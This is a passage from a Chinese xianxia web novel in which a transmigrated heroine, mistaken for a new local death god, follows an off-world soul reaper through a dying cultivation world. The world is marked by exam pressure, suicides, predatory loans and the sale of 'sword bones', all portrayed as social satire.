而更不可思议的是，在颜辞云向岳灵倩挥下镰刀，准备用“采集”的方式把这个女孩带走，安葬在属于颜辞云的世界时，颜辞云竟没有像以往那样采集到尸体骨骼之类，而是采集到了一个…… 灵魂？？ 颜辞云茫然眨眼：“……咦？” 与此同时，刚响起过没多久的系统音，竟然再次响起了： 【叮！任务[界外死神（实习生）]已开启，请玩家尽快熟悉和开始工作，技能点奖励将在玩家的任务结束后统一计算和发放。】 【叮！任务[见证毁灭]可接受。这个世界已走到毁灭边缘，残留的创世神意识则希望你留下来，见证这个世界的毁灭，并重新种下世界之种。本任务奖励将由创世神意识发放。】 颜辞云：啊？！ 这一刻，颜辞云看到自己的原本虚无的身体突然有了色彩和形状，不但披上了半透明的黑色长袍，并且手持一把经典的黑色长镰刀。 颜辞云：啊？？！！ 不是。 你怎么—— 谁告诉你拿着镰刀的就是死神啊？！！ 第59章 方允儿 本地死神与外地死神…… 颜辞云扯了扯自己身上的黑色长袍，低头打量，发现自己这身长袍的样式十分古怪，宽袍广袖，款式正面看起来就是普通的古风长袍，但偏偏后头带了个兜帽。 打个比方就是，她正面看起来像酆都大帝，反面看起来像玩cosplay的非主流。 一股子很重的AI味，还是很弱智的那种AI。 这样的风格，不但跟颜辞云系统制作台出品的氪金页游华丽风格格不入，就连颜辞云水火炼葫出品的古朴粗犷风都比不上。 而更重要的是……颜辞云身上的这一件，似乎是“外来”的装备。 是在颜辞云拿出长镰刀，采集到灵魂的瞬间，由这个世界“施加”在她身上的。 这一瞬间，莫名其妙的，颜辞云出现了这么一个画面： 创世神残留意识：“亲爱的异界友人，天冷了，来，我为你加件衣服。” ——黄袍加身的感觉这不就来了。 颜辞云仰头望天，为这位创世神残留意识的错认感到了瞬间的无语。 而之后，颜辞云回过神后的第一件事，就是观察四周，看有没有人能看到她这个奇装异服的cosplayer。 还好，没有。 每个人依然走在自己的生活轨迹上，依然是那样来去匆匆，谁也看不到颜辞云这个飘在天上的异界来客。 颜辞云松了口气，这才有工夫去看自己的任务栏。 此刻，颜辞云的任务栏上只挂着三个任务。 第一个任务[发现新大陆]，目前显示进行中，没什么好说的。 而第二个进行中的任务[界外死神（实习生）]，则令颜辞云分外惊喜了。 因为这个任务的奖励，竟然是技能点！ 颜辞云苦技能点已久。 自颜辞云穿越后用初始的两个技能点点出【吞噬】技能，并由此技能衍生出【摄形】和【摄神】两个能力后，颜辞云就知道自己的金手指绝对是她在荒野求生之路上的唯一真神。 特别是当颜辞云因【吞噬】技能等级太低，而令【龙形】【火·毕方】等能力卡在lv20后，颜辞云想要获取技能点的心情就越发迫切了。 但偏偏，系统没有告诉颜辞云任何获取技能点的途径，也没有任何提示，就连颜辞云自己在异界的胡乱倒腾，也没有得到任何进展。 颜辞云甚至怀疑过自己是不是一辈子都搞不到新技能点了！ 可如今—— 瞧瞧她看到了什么？ 技能点！ 是技能点啊！ 哪怕这次任务结束后只获得一个技能点，颜辞云都觉得自己超赚，并有了十二万分的工作动力： 我上就我上！不就是死神见习生嘛，现在不会马上学就是了，多大点事。 而在这之后，颜辞云第三个任务[见证毁灭]，则是颇为特殊的“待接受”的状态，点开后还能看到【接受/拒绝】这样的选项。 这还是颜辞云第一次见到可拒绝的任务。 虽然颜辞云见过的任务也不多，不过每一次由系统刷出来的任务，都是强行挤进任务栏的，从没有可选项。 更何况，这个任务本身也足够特殊。 这不仅是因为这个任务的奖励竟是由“创世神意识”发放的，更重要的是，这个任务里的每个关键词，都带着点惊心动魄的意味： “走到毁灭边缘的世界”？ 这世界发生了什么？怎么突然就要毁灭了？ “残留的创世神意识”是什么意思？ 为什么创世神的意识会是“残留”？为什么会想要她留下来见证毁灭？ 以及“世界之种”，这个东西是什么？ 如果顾名思义的话，所谓的“世界之种”应该就是“世界”的种子……可先不提世界又不是植物，怎么会留下种子，问题是，假若真的有一样道具叫“世界之种”，它要怎么种下？ 需要什么生长条件？ 要怎样才算栽活？ 也没有人给她“世界之种”的种植说明书呀！ 出于对自己所不了解的未知事物的敬畏和尊重，颜辞云在“拒绝”和“思考一段时间后再郑重拒绝“这件事上犹豫许久。 之所以会有后一个选项，只是颜辞云为了让自己显得并非畏难而是真的在思考。 不过，没等颜辞云“经过郑重的思考后再拒绝”，颜辞云突然心念一动，感到自己脑中似乎有某根无形的弦被拨动了。 紧接着，“我应该马上过去”的想法从脑中升起，挥之不去。 颜辞云犹豫了一下，到底没抵过心中好奇，把岳灵倩的灵魂塞进物品栏后，便顺着那无形的牵引，轻轻飘去。 她穿过熟悉又陌生的车水马龙、钢铁丛林，最后飘进一栋挂着“今天的你够努力，明天的你痛哭流涕”的标语的高楼，在一个陌生的楼层、陌生的教室前停下。 “497号考生，方允儿。” 叫号声从教室里传来， 漫长的队列里，一个熟悉的人面色紧张地站了起来。 正是岳灵倩的好友，也是曾经在红绿灯前扶起过颜辞云的那个少女。 颜辞云看着这张年轻的脸，蓦地一怔，而后下意识身形飘动，随着方允儿进入面试的教室内。 “老师们好，我是松山书院初中部的学生，我的名字叫方允儿。” 方允儿脸上挂着精心准备过的笑容，不但嘴边的微笑弧度标准，就连眼神都恰到好处。 可面试教室里坐着三名面试官头也不抬，声音在空旷的教室里冷漠回响，极具压迫感。 “方允儿，你为什么想要报考我们崇山高中？” 方允儿额上渗出了些冷汗，脸上不知不觉浮出了紧张的红晕。 她攥了攥手，大胆地放弃了自己准备好的千篇一律的场面话，有些发抖的声音坚定道：“因为崇山高中是静水市这三年来仙门录取率最高的学校，也是静水市师资力量最强的学校。我要想考上仙门，我的目标是剑修，所以我想要考进崇山高中！” 左边的那名男面试官第一次抬起头来，审视方允儿，眼神说不出是欣赏又或是别的什么：“你的资料上显示，你的成绩是全科满分，是全校第一？” “是的！” “虽然你只是松山书院这样地方的全校第一，但也勉强算是有一点含金量了，不过，为什么你会想到报考剑修？是因为报考剑修的人少，更容易你挤进去吗？” 男面试官的话语几乎称得上刻薄。 方允儿越发紧张了，忍不住磕巴了一下：“不、不是，是因为我从小就喜欢剑修，和剑类武器的共振值也很高……” “有多高？” “75%” “你知道上一个被洗剑阁刷下的剑修报考生，最低的共振值都达到了79%吗？” 方允儿一愣：“可筑基期前的普通炼炁士，与武器的最高共振值不是只有75%吗？” 男面试官收回目光，随意说道：“你也说那是普通炼炁士。” 而这世界上，“不普通”的炼炁士可多着呢。 家世、背景、金钱。 没有最氪，只有更氪。 甚至就连普通人赖以生存的逆袭法宝“天赋”，也不是谁都能有的。 或许对普通的凡人来说，有灵根的人就已经是万里挑一的优秀人才了，而像方允儿这样筑基前就与剑类武器有75%共振值的，更是十万个人里才会出现一个，是需要仰望的人。 可放眼整个九重天，这“十万里挑一”难道又算多么出众吗？ 想要进入仙门这样的地方，光拼天赋的话，最低最低也得千万里挑一吧？ 不然又凭什么成为“仙人”呢？ 男面试官的语气十分随意，方允儿脸上的紧张红晕却一下子褪成了白色。 但很快的，右边的面试官也开口了：“考生方允儿，你说你想要报考的方向是剑修，那你有没有考虑过你从仙门毕业后，要去什么地方工作？ “现在剑修的就业形势严峻，二重天以上的地方都很少有给剑修的岗位了，而等到一百年后你的毕业季时，只会更加严峻。 “你现在如此坚定地报考剑修，难道是对日后的工作早有安排吗？” 方允儿脸色更白了：“没、没……没有……我只是喜欢剑修……” 想要成为仙人预备役就已经需要方允儿拼尽全力了，她又怎么会考虑到成为“仙人”之后的事？ 还就业方向？ 那不是一百多年毕业后才考虑的事吗？ “哦。”右边的面试官没有多说什么，只是又垂下了眼睛，不再去看方允儿。 方允儿用力捏了捏手，感到自己好像说错了什么……可她又说错了什么呢？ 没等方允儿想明白这个问题，最后一个面试官开口了：“考生方允儿，你现在的高中课程自学了多少？” 说到这个，方允儿似乎终于抵达了舒适区，腰背也挺得更直了：“我已经自学完高二课程了。” 主面试官：“才高二吗？你不知道来我们崇山高中上课的学生，都是默认学完了高三课程吗？你只不过是学完了高二，真来到我们学校后，你要怎么跟得上课程？” 方允儿是一呆。 主面试官继续道：“你有抑郁倾向吗？有任何精神方面的疾病吗？” 方允儿精神一振，连忙摇头：“没有没有，我保证我心理健康，绝对不会在校自杀的。” 主面试官微微摇头：“在我们崇山高中，不但要签署不自杀协议，还会有相应的扣分机制，所以我倒是不担心你自杀。问题是，考生你竟然连一点心理疾病甚至抑郁倾向都没有，想来还是平时努力没有抵达生理的极限……这位考生，你的向道之心不够坚定啊。” 方允儿又是一呆。 她想不通，怎么自己没有抑郁倾向反而是劣势了呢？ 主面试官最后一次翻了翻方允儿的资料，遗憾说道：“非常可惜，考生方允儿，你的成绩的确不错。虽然你在校期间没有进行任何志愿活动，没有任何特长，也没有获得课外的奖项加成，但在贫困扶持政策里，你大概就是素质最好的学生了……如果你的共振值能上80%，或许你真的可以……” 浑浑噩噩中，方允儿离开了面试教室，把自己关在楼梯间的杂物间里坐了许久许久。 “共振值……共振值……” “共振值……” 叮咚！ 方允儿怀里的手机突然发出声响。 她心不在焉地拿出来一看，发现手机上不知道什么时候多了许多信息。 除了父母发来的加油打气、殷殷期盼，学生群里对方允儿能去面试崇山高中的钦羡和恭维之外，就是一条精准推送的广告了： 【特价特价！天极剑骨特价抛售啦！只要有了天极剑骨，你的修行速度将一日千里，只要有了天极剑骨，你就再也不用担心共振值……】 共振值？！ 方允儿眼睛一亮，下意识点进页面，可下一秒，她便看着特价后那一长串的零头晕目眩。 “好贵……太贵了……” 太贵太贵了。 哪怕是所谓的“特价”，这天极剑骨的价钱也完全不是她能拿出来的。 方允儿的父母只不过是普通人，而方允儿则是他们第一次生育就抽出来的特大惊喜和特大奖项。 于是，为了集中资源供方允儿修行，她的父母主动做了绝育，并把家庭的所有资源都投在方允儿身上，只为了能让方允儿在高中后考入仙门，成为仙人，令他们全家人也能鸡犬升天，去二重天以上的地方看一看新世界的风景。 就这样，一年，两年，十年，十五年！ 方允儿整整十五年的人生，都在为了“成为仙人”这一件事而做准备！ 可如今……如今她还没来得及进行仙门统考，就要在崇山高中这一台阶上倒下吗？！！ 方允儿咬着唇，脑中一片混乱。 而下一秒—— “啊！！” 一声惨叫响起，紧接着是肉体落地、西瓜开裂的声音。 方允儿被吓得一抖，险些没能拿住手机，慌张地走出杂物间后，疑惑环顾四周，刚好听到楼上楼下传来的窃窃声： “今天跳楼的人怎么这么多啊。” “心理素质真差，就不能挑个远一点的地方跳吗。” “听说是网贷借太多，但面试又没过。” “我听说他全家都在借网贷，就为了供他今天的面试。” “肯定是平时没有好好努力修炼。” “是啊，像这种人的努力程度根本没有到需要拼天赋的时候。这么一点点小挫折都过不了，人穷还不努力，死也活该。” “……” 叽叽喳喳的声音里，方允儿却是听得眼睛一亮。 “对啊！对啊！我还能、还能——” 还能借网贷啊！ 只要买下那根天极剑骨。 只要得到那根天极剑骨…… 方允儿用发颤的手打开应用商店。 有那么一瞬间，她似乎在犹豫、痛苦、拒绝，似乎是想到了自己还不起网贷后会有怎样的下场和绝望，甚至想到了刚刚还跳下楼的那个人。 可也只是这么一瞬间，她回过神来，重重点击了【全部安装】。 “我一定能成功……” “我一定能成为仙人……” …… 而与此同时，在楼下，颜辞云看着自己面前的“烂西瓜”，轻声叹息。 颜辞云以为自己会恐惧同类的尸体，恐惧这扭曲而绝望的惨状，但她只是拿出镰刀，轻轻一挥。 第二个灵魂落在她的手里。 只不过这一次，在颜辞云把它放进物品栏前，意外出现了： 一个与颜辞云此刻穿着一模一样的“死神”出现在了她面前！ “你就是这个世界新生的死神见习生岳灵倩吧？” 颜辞云一愣，想到什么，打开自己的人物面板看了一眼，然后又看了自己面前的“死神”一眼。 好消息，这个新的“死神”看不到她的系统面板。 不知道是好还是坏的消息，颜辞云此刻似乎依然套着“岳灵倩”的身份，因为在“岳灵倩”的人物栏里，她赫然多出了一个[变身：死神]的状态。 颜辞云没有贸然开口，精心等待着对方的下文。 对面的“死神”非常和善，没有因为颜辞云的沉默而生气，反而主动解释道：“你好，岳灵倩，我知道你作为这个世界新生的死神，此刻心里一定有很多疑问，不过这些事我们都可以以后再说，现在我们需要你的帮助。” “我的帮助？”颜辞云试探开口，“我能给你们什么帮助？” “是这样的，我们其实都是来自世界之外的死神——你应该知道多元宇宙说吧？简而言之就是我们不是同一个宇宙的生命，只是因为这个世界的意识委托了我们老大过来做事，所以我们才能跨越壁障、抵达这里。” 颜辞云听得一惊，以为对方识破了自己同样来自界外的身份。 可很快的，颜辞云就反应过来，明白这个人口中的“我们”并不包括她，因为面前的“死神”一直将她误认为这世界的原住民岳灵倩。 所以，由此得知，这些“死神”是有组织的活动，并且与她颜辞云一样，都收到了世界意识的委托。 而又因为某种不知名的意外，这群“死神”将她认作了原住民岳灵倩，以为她是“本地的新生死神”，而本地的世界意识，则又把她认作了“死神组织”的一员。 ——难怪一上来就给她黑袍加身呢，敢情是真的认错了人！ 颜辞云恍然大悟。 “看来世界意识已经跟你沟通过了。”对面的死神却是会错了意，拿出一个平板电脑，在上头点点点，最后把屏幕展示给颜辞云看： “看！这就是你们世界树现在的病变问题。无数无法往生轮回的死魂，聚集在顶层——哦，你们把它叫做‘九重天’——这些死魂的存在，不但严重干扰了世界树的生长，更是引发了世界树的急剧衰败、极速枯萎。 “现在，我们需要在世界树彻底枯死前把这些死魂收集起来，在世界树重新生长后投入下一个轮回，只不过我们没有拿到九重天的通行证，暂时没有办法上去处理九重天的死魂溢出问题……” 颜辞云看着屏幕，若有所思：“所以你说的求助是——你觉得我有九重天的通行证？” 对面的“死神”爽快点头：“是啊，你是这个世界的原住民，是受到世界意识的眷顾而诞生的本地死神，所以你肯定有这个通行证呀！” 颜辞云：“……” 颜辞云默默汗流浃背了。 如果她真的是岳灵倩、是受到这个世界的眷顾而诞生的本地死神，那她身上可能还真的有这个所谓的“九重天通行证”。 可是，问题是—— 这是个误会啊！！ 第60章 被打断的循环 “难怪这个世…… 最后，颜辞云到底还是没有点破真相，装成了“本地死神岳灵倩”，硬着头皮跟上这位来自异世界的死神，准备见招拆招，实在不行再跑路。 而至于理由—— 当然是技能点！ 颜辞云真的非常非常非常想要技能点！ 她觉得，自己的技能升级问题真的不能再拖下去了，否则日后的她可能连相繇那条小蛇都打不过了！ 于是，为了技能点，也为了能在事件暴露后溜得快一点，颜辞云开始向这位异界友人讨教有关“死神”的诸多问题。 在这样的讨教中，颜辞云得知，面前的这位外地死神名为卡多斯，是死魂流转公司旗下，收割部的外地派遣成员之一。 颜辞云：继赛博修仙后又来了死魂流转公司吗？ 颜辞云有些汗颜，突然觉得自己那个简简单单的世界其实也挺好。 在这个所谓的死魂流转公司里，唯一的BOSS就是死神，除了死神之外，所有的职员都是平级的。 哪怕他们穿着类似死神的服饰、手持死神的长镰刀，有收割魂灵、送魂灵往生的能力，并被外人统一称作“死神”，但他们依然不是死神，而只是被死神赋予了一部分死神职能的、为死神工作的普通职员而已。 所以他们的真正称呼，其实应该是“死魂收割人”，又或者是“死灵送往者”。 “不过这是我们世界的情况，如果是你的话，等这个世界的这一轮回结束，应该就能成为真正的死神了吧？” 卡多斯哈哈笑着，这样对颜辞云说：“死神的权柄可以被分割、被转移和赠与，但死神的神职是唯一的。在这个世界，你就是唯一的死神，所以过段时间后，你应该就能以死神之名成为真神了吧，到了那个时候，可别忘了我们这些人啊！” 颜辞云用腼腆的微笑敷衍过去：不，你想多了，其实大家都不是这个世界的本地人。 哪怕这个世界的神都死光了也轮不到她上位啊。 颜辞云转移话题道：“按照卡多斯你的说法，神似乎和世界绑定，是永恒不灭的……可既然世界是不灭的，又怎么会出现病变？我一直以为，只有人才会生老病死。” 卡多斯很乐意与颜辞云打好关系，于是为她详细解释了起来： “一般来说，世界有两个意思，一个是人类自身为了存活而构建的社会圈，另一个则是世界的本身，是由无数星球组成的无限宇宙。 “在大部分情况下，人类社会的灭亡和世界的消亡是两个问题。人类社会可以在同一个世界上出现无数次，又消失无数次，而他们的出现和消失都不会对世界本身进行太大干扰。” 一个世界何其广袤？ 人类口中的世界毁灭，大部分情况下只是一个适合人类生存的生态圈被毁灭了而已。对于世界而言、甚至对于这颗星球而言，这件事完全没有那样大的影响，因为哪怕人类死光了，明天太阳还是照常升起。 人类连脚下的星球都无法彻底摧毁，谈何毁灭世界？ “可在某些情况下，人类的消亡会与世界息息相关，比如说当这个群体摄取了世界50%以上、甚至100%资源的时候。 “矿石、土地、生物、森林、海洋，甚至是支撑世界运行的本质——能量。” 颜辞云：“你说的难道是……炁？” 卡多斯点头：“对，你们把这份能量叫做炁。在不触及炁的前提下，哪怕人类折腾得再过头，也不会伤到世界的根本。在世界树的蕴养下，世界最多修养个千百万年，就会重新恢复平衡，也会重新孕育出生命来，进行下一个文明的轮回。 “可你也知道，这个世界有炼炁士，有高级修士，还有仙人。如果说炼炁士是围绕世界树而生存的小动物，高级修士就是啄空世界树树干的啄木鸟，那么仙人——就是那个把世界树抽干扒皮的毁灭者。” 就像水一样，炁也是需要循环的。 世界曾经将摄取炁、利用炁的方法交予人类，人类使用这些炁令自己过得更好，同时在死后向天地归还了这些炁，这是一种正循环。 可不知道从什么时候开始，世界出现了“仙人”，构建起了“仙界”。 仙界占据了世上30%的炁，剩下的69%的炁，则聚集在每一个进入仙界的仙人身上。 每一个仙人“升仙”时向世界摄取的炁，都是极为庞大的，可他们偏偏贪婪无度，还永恒不死。 他们一直活着，老而不死，还越来越多。 一个简单的计算题：当全世界炁总量不变的情况下，上层的炁聚集得越多，留给世界底层的炁——那些低级炼炁士，那些普通人，甚至是那些妖兽与恶鬼们所能摄取的炁，难道会一如既往吗？ 只会越来越少。 所以，被打断正循环的世界生病了，病得越来越重。 而这个时候，所有人类还在为仙人文明的璀璨而欢呼雀跃，认为一切正欣欣向荣，仙人傲慢地端坐仙界，掌握对凡人的生杀大权。 没有人看到死亡的绳索已经悄然套在了每个人的脖子上。 颜辞云听得皱眉不已，心中充满了忧虑，下意识说道：“那如果把仙界摧毁、仙人杀光，那这个世界还有救吗？” 卡多斯惊讶地看了她一眼：“难怪这个世界会选择你来做死神。” “什么？” “普通人听到这样的事，一般会想到改革制度，想到与仙人谈判、劝说他们主动让出更多的炁归还世界，维持世界运行什么的……倒是你的思路非常大胆，甚至跟这个世界意识的思路是完全一样的。”卡多斯说，“只不过世界意识已经动手了。” “……什么？！” 卡多斯又拿出了平板，把那个死魂分布图展示给颜辞云看，指着九重天最顶层那密密麻麻的阴影，说：“你以为这些侵蚀世界树根源、让世界树加速病变的大量死魂是怎么来的？” “……” 颜辞云哑口无言。 她万万没想到，这个世界的“天”竟然塌得这样彻底、这样决绝而无可挽回。 只可惜这个“天”还是塌得太晚了，以致于当它坍塌的时候，连大地的根基都被侵蚀动摇了。 颜辞云刚冒出这样的念头，对面的卡多斯又说道：“只可惜，世界意识的决断还是太慢了，一直等到世界树无法修复、无可挽回后，祂才终于下定决心，清空了最上层的‘仙人’……但这也只是给祂多争取了最后两个月时间而已。 “如果祂也有你这样的果决、在发现问题的第一反应就是消灭所有大盗，那这个世界应该也不会迎来这样的结局吧……从这一点来说，你真的是天生的死神啊！” 说到最后，这位卡多斯还小小地拍了颜辞云的马屁。 颜辞云只能露出尴尬而不失礼貌的微笑。 卡多斯说：“好了，我们走吧，岳灵倩小姐，该去下一层了。” · 一重天是最底层的世界。 二重天在一重天的正上方，物理意义上的正上方。 只有通过一条特殊的通道，才可以顺利离开一重天，去往上一层的世界，否则只会从一重天的边界跌落虚空，神魂消亡。 颜辞云对这件事很熟悉，因为她的树屋同样也是这样建造的，除了规模小亿点点。 在去往二重天的路上，卡多斯向颜辞云解释了“死魂收割人”这个职业，也告诉了颜辞云她身上“死神职业套装”的用法。 于是颜辞云这才知道，她身上的非主流外套可不仅仅是一件衣服而已，而她手里的长镰刀，也不是单纯在COS死神。 颜辞云身上的外袍，官方名为“死神外套”，是死魂流转公司在经过无数年改造、采纳无数职员意见后的标准套装，好评率百分百。 它防水防潮防火，不仅可以收束外形、遮蔽气息、保护灵魂，分隔生者与死者的世界，避免穿着者被力量强大的生者捕捉，并且它自带两个不同的空间口袋。 其中一个空间口袋，是专门、也只能用来装死魂的口袋，可装载无限数量的死魂！ 而另一个空间口袋，则可以装一些职员自己的私人物品，不大不小，是一个27立方米的空间。 颜辞云说：“其它的我还能理解，但收束外形是什么意思？” 卡多斯哈哈笑道：“就是看起来像人类的意思。我们入职死魂流转公司的职员，可不仅仅是人类啊！” 颜辞云先是吓了一跳，而后又觉得这样才对，毕竟光是颜辞云自己那个简单的世界里，就有狡诈的相繇、手贱的水猴子、横行霸道的大螃蟹、等等。 颜辞云相信，只要给它们足够时间，这些生物也必然是会生出智慧、甚至发展出文明的。 在这样的情况下，被死魂流转公司吸纳的职员，又怎么可能仅仅只有人类呢？ 颜辞云好奇问道：“那……我可不可以问一下——” 卡多斯说：“你想问我是什么种族对吧？” 颜辞云不好意思地笑了笑，没好意思告诉卡多斯其实她想问的是死神是什么种族，只能装作一副被看破的样子，笑说：“是啊，抱歉，这会不会对你有些冒昧？” 卡多斯摆手，大气说：“对于一些藏头露尾的家伙来说，这可能算是冒昧，可我不一样。我可不会害怕告诉任何人我的来历——合成兽。我曾经是一群修士为了抵御病变的天道和诡异入侵而制造出来的合成兽！” 颜辞云：“……” 好的嘛，连诡异修仙和合成兽都出来了，这个世界可真是多姿多彩。 暗暗祈祷自己未来的旅途不要遇到这些乱七八糟的东西后，颜辞云又把话题导向自己真正想知道的东西。 “听起来真是不可思议呀……那么，卡多斯，你见过真正的死神吗，祂又是什么种族……啊，抱歉，这应该是可以问的吧？” 卡多斯随意道：“没事，其实我们死魂流转公司里也没人见过BOSS，所以也没人知道BOSS到底是什么种族，问了也没用，你可以随便问。” 颜辞云：“……” 那这样一来，这位死神不正是你口中“藏头露尾”的家伙吗？？ 颜辞云觉得自己其实并不是那种情商高的类型。 但她还是被卡多斯给干沉默了。 谈话间，二人飘过了二重天的某一个医院。 正要继续向上的卡多斯突然脚步一顿，像是想起了什么，侧头向颜辞云提议：“对了，岳灵倩小姐，对于收集和收纳死魂之外的其它事，你应该还不太清楚吧？比如说你手上镰刀的用法？” 颜辞云看了看自己手上的长镰刀。 事实上，除了颜辞云身上的死神外套，的确是世界意识赠送的之外，她手里的长镰刀，其实还是颜辞云自带的道具。 如果仔细观察的话，可以发现颜辞云的镰刀与卡多斯腰间的制式镰刀完全不同。 如果说卡多斯的镰刀是流水线出产的细致、精巧、冰冷，那么颜辞云的镰刀则更漆黑、更粗糙、更古朴也更低调，就连刀锋处都是黯淡无光的黑色，流动着莫名的危险感。 卡多斯看到了，但只以为这是“本地死神”的特色，而“本地死神”颜辞云当然也不会主动说清这个误会。 所以按理来说，颜辞云的镰刀应该是没有卡多斯镰刀所具备的“其它功能”的。 但…… 万一呢？ 于是，只是一秒后，颜辞云就微笑起来，用歉意而纯然无辜的声音说道：“是啊，毕竟我今天才刚刚成为……嗯，你所说的‘死魂收割人’，所以对自己现在的状况真是完全不了解……如果卡多斯你不觉得我麻烦的话，就还请你教我怎么成为一个合格的死魂收割人吧。” 颜辞云完全不心虚。 因为她又没有说谎。 除了有一些关键词被隐瞒了之外，她的每一句话都是真的，那她又有什么好心虚的？ 果然，颜辞云的理直气壮让卡多斯完全没有多想，大包大揽地说道：“没问题！你看，我们前面就是一家医院，一般来说，医院是死魂出没最多的地方，我们就在这儿练练手吧。 “来吧，岳灵倩小姐，我来教你怎么使用你身上的死神权能。” 60-70 第61章 死神日常 颜辞云能赋予她飞…… 非常奇妙的是，颜辞云一踏入医院里，她的视野中就弹出了一行浅灰色的字： 【死亡收割者日常任务加载中】 竟然连日常任务都刷出来了？ 日常任务会奖励技能点吗？ 颜辞云脚步一顿，但下一秒又自然而然地接上，没有让外人看出任何滞涩。 在她的前方，卡多斯没有回头，正带领着她向这个苍白医院的某处走去。 颜辞云看到，这医院占地面积虽小，但却五脏俱全，四周人流如织，人头攒动，不知道为何显得格外热闹。 颜辞云打量了两眼，很快找到了热闹的源头： 一对正在与病床上子女争吵中的父母。 或者，严格来说，是刚被医生从急救室里推出来、一时间说不上话的孩子，与一对愤怒而喋喋不休的父母。 “……什么自杀不自杀？你小小年纪知道什么是自杀吗？你真是太让我这个当妈的失望了！” “你知不知道你在二重天的生活是多少凡人想都不敢想的？如果你爸我小时候也有你这样好的条件，你爸我现在还会待在二重天吗？啊？！现在，你爸妈用一辈子打拼来的东西，千辛万苦、费尽心力托举你往上走，结果你就这么不知好歹，竟然还想要自杀？！” “是啊，像你这种的小孩子啊，就是苦头吃得少了，才这么无病呻吟！如果你真的过过你妈当年的日子，你就知道你根本就是泡在了蜜罐里！” 病床上的孩子一言不发，只是躺在病床上，没有焦距的眼睛望着天花板。 颜辞云又将目光拉远了点，注视着长长走廊上的无数病床。 在那些简陋的病床上，大多都是年轻人，所以颜辞云常常能看到这样的一幕： 喋喋不休数落孩子的家长；在睡梦中也难得安宁得病人；柜台前一遍遍数钱的老人。 “……刚刚胃里的东西都吐出去了，现在饿了吧？来，妈喂你喝粥……今天晚上就是刘老师的提高班，这个班的费用可贵可有用了，咱们可不能落下一节课……” “……你妈告诉我，你明天早上有一次重要的周考，来，现在先预习一下题目，这是你妈花了大价钱买来的内部题，纸笔都在这儿……看，姥姥特意告诉过医生，让他们别把针扎在你的右手，这不就用上了！你瞧瞧，你妈你姥姥这样对你，还不够贴心不够好吗？” “……你可是咱们全家人的希望，如果你这次考试还是以前那个成绩，日后我们全家人都得去一重天喝西北风！” “……什么抑郁症不抑郁症的，全都是骗人的！老子好吃好喝供着你，自己不吃都要省着供你进仙门，我到底哪儿缺你的了？怎么就抑郁症了？学习还能学出个抑郁症来？屁！我看你就是懒！就是不想学！！” “……” 人生百态。 但有时候，这百态又或许又指向了同一个起源与终点。 颜辞云收回目光，与卡多斯走到了医院尽头。 在这里，有一场手术正在进行，但此刻，无论手术室内还是手术室外，都弥漫着不安的紧张氛围，让颜辞云一看就知道这场手术的结果必然不太理想。 而果然，下一秒，颜辞云就听到卡多斯的声音响起： “再等两分钟我们就进去吧。” “好。” 颜辞云没有多问，与卡多斯站在手术室外，耐心等待。 在两位职业死神的身旁，那些来自生者的细碎声音响起。 可出乎意料的是，颜辞云敏锐发现，这些声音似乎不但不分远近，无论是手术室内的还是手术室外的，都如常传到她耳中，甚至有些声音的主人分明没有开口，可声音还是如常传来。 ……心声吗？ 察觉到了颜辞云的微妙心情，卡多斯侧头向颜辞云笑道：“看来你是听到了……对，这就是我们死魂收割人的第一项天赋，死亡亲和。所有会令生命导向死亡的声音，都会被我们听到。” 令生命导向死亡的声音？ 而与此同时，只有颜辞云能看到的【日常任务】面板上，也加载出了第一个任务。 【1、寻找死者，查明其死亡原因；】 颜辞云目光在四周扫视了一眼，并没有看到死者，也没有发现可收集的死魂。 只不过，她耳畔的声音依然源源不绝，于是她暂时按捺下来，侧耳细听： 【……患者身体有点隐患，其实不适合做剑骨抽出手术……奇怪，患者为什么想要做这种手术……算了想那么多干什么，反正患者丈夫都签字了。】 【……薇薇实在是太糊涂了，怎么劝都不肯听，她才毕业多久啊，竟然就被贱男人哄着把子宫装回来，说是要在二重天生子定居……真是气死我了！明明薇薇天赋那么好，哪怕去三重天工作也是有希望的，怎么就……可恨！都是那个贱男人的错！】 【……手术快做完了，得想办法把这个烦人的女人赶走才行，不能让她知道薇薇到底做了什么手术……唉，我也是为了薇薇好，等薇薇以后生了孩子，还不是我养家，不多给我们的孩子攒点钱怎么行？反正日后那剑骨薇薇也用不上了，刚好帮我还了网贷……】 【糟了！C级合成剑骨不能替代天极剑骨，患者大出血了！】 【薇薇真是个傻女人，说什么看不到未来、与其自己努力不如生个天资更好的孩子，给孩子更好的努力条件……自己都做不到的事，竟然指望下一代继续努力，真是昏了头……而且那个男人也根本靠不住啊！】 【……天极剑骨可是个难得的好东西，这些网贷平台压价也压得太狠了，呵，不就是有靠山吗，等我日后功成名就了，我要这些看不起我的人统统跪在我面前！】 【该死！该死！怎么会出这么多血？明明抽剑骨就是一个普通的手术而已……等等！不对！患者身上的这根剑骨根本不是她的，而是人工合成的——她已经做过剑骨抽出手术了！她的病历上根本没有写这件事……完了，完了……我这个月的提成……】 【手术怎么还没结束，装一个子宫能有多难……难道是体质不适配？该死，我就说得让那个贱男人来生！】 【哦！这个平台好，叫价最高，就决定是它了……搞定，契约签好了，接下来等手术结束，我下个月的生活费就搞到手了，完美！】 蓦地，手术室亮起了警报灯。 手术室内室外都慌乱了起来。 季秋池蓦地站了起来，抓住路过的护士，震惊问道：“等等护士，为什么会亮起警报灯？这不就是个安装子宫的小手术吗？” 护士惊讶道：“你是这位病人的家属？可这一台手术做的是剑骨抽出术啊！” “但薇薇她明明跟我说——”季秋池脸色大变，“不对！等等，薇薇的剑骨前两天就已经抽掉了，她是没办法再做这个手术的啊！！” “什么？”不等路过的护士回答，一旁的王胜也扑了上来，一把抓住了季秋池，“薇薇的剑骨前两天就抽掉了是什么意思？！她把她的天极剑骨卖了？卖给谁了？？她如果已经卖了，那、那我呢？我都已经跟人签好契约了！” 季秋池双目喷火：“原来是你这个贱男人害薇薇！薇薇全心全意想着你，你竟然瞒着我们偷偷给她安排剑骨抽出术？我要杀了你！！” “病人家属，病人家属，请不要在医院打架……保安！保安！！” 手术室内室外都是一片混乱。 颜辞云叹息着，微微闭上眼：原来，考进仙门后的生活，也没有一重天人们想的那样好。 而与此同时，在颜辞云的任务面板，字迹再次变幻： 【1、寻找死者，查明其死亡原因（已完成）；】 【2、斩尘缘，断生死；】 卡多斯向颜辞云说：“好了，该我们上场了。” 卡多斯那无法被生者捕捉到的身影，径直穿过墙壁，进入了手术室。 颜辞云紧跟其后。 此刻，手术室内，一切的慌乱已经结束了，手术台上的病人正式宣告死亡。 